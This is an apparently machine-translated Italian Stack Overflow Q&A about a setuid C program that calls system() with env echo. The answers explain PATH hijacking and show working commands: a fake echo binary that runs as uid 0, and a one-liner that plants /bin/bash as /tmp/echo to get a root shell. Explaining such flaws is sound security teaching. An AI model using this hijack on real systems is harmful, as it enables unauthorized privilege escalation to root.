Domanda

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    system("/usr/bin/env echo and now what?");

}

Il modo in cui ho capito, il codice consente di sopra di codice arbitrario (o programma) l'esecuzione - ciò che rende questo vulnerabili, e come si fa a prendere vantaggio di questo

È stato utile?

Soluzione

È possibile ignorare la variabile PATH per puntare a una directory con la versione personalizzata di echo e poiché echo viene eseguito utilizzando env, non è trattato come un built-in.

Questo constituisce una vulnerabilità solo se il codice viene eseguito come utente privilegiato.

Nell'esempio seguente file di v.c contiene il codice dalla questione.

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
  printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x  1 user     group  8752 Nov 29 01:55 echo
-rw-r--r--  1 user     group    99 Nov 29 01:54 echo.c
-rwsr-sr-x  1 root     group  8896 Nov 29 01:55 v
-rw-r--r--  1 user     group   279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$ 

Si noti che l'impostazione di user ID reale, efficace ID utente e salvato set-user-ID da una chiamata al setresuid() prima della chiamata a system() nel codice vulnerabile pubblicato in questione permette di sfruttare la vulnerabilità anche quando solo è efficace ID utente è impostato ad un ID utente privilegiato e reale ID utente rimane senza privilegi (come è per esempio il caso quando basandosi su bit set-user-ID in un file come sopra). Senza la chiamata al setresuid() guscio gestito da system() sarebbe ripristinare la parte posteriore ID utente effettivo per l'ID utente reale rendendo l'exploit inefficace. Tuttavia, nel caso in cui il codice vulnerabile viene eseguito con l'ID utente reale di un utente privilegiato, chiamata system() da sola è sufficiente. Citando pagina sh man:

Se il guscio viene avviato con l'effettiva dell'utente (gruppo) id non uguale alla reale dell'utente (Gruppo) id, e l'opzione -p non viene fornito, nessun file di avvio sono leggere, funzioni di shell non sono ereditate dall'ambiente, la variabile SHELLOPTS, se appare nell'ambiente, viene ignorato, e l'utente efficace id è impostato sul Real ID utente. Se l'opzione -p è fornita al invocazione, l'avvio comportamento è lo stesso, ma l'id utente effettivo non viene azzerato.

Si noti inoltre che setresuid() non è portabile, ma setuid() o setreuid() può essere utilizzato anche per lo stesso effetto.

Altri suggerimenti

bene in realtà sulla funzione di sistema di chiamata si può pasticciare con il comando echo. per esempio, se si esegue il seguente codice:

echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH

si otterrà una shell con il permesso proprietario del file

Autorizzato sotto: CC-BY-SA insieme a attribuzione
Non affiliato a StackOverflow
scroll top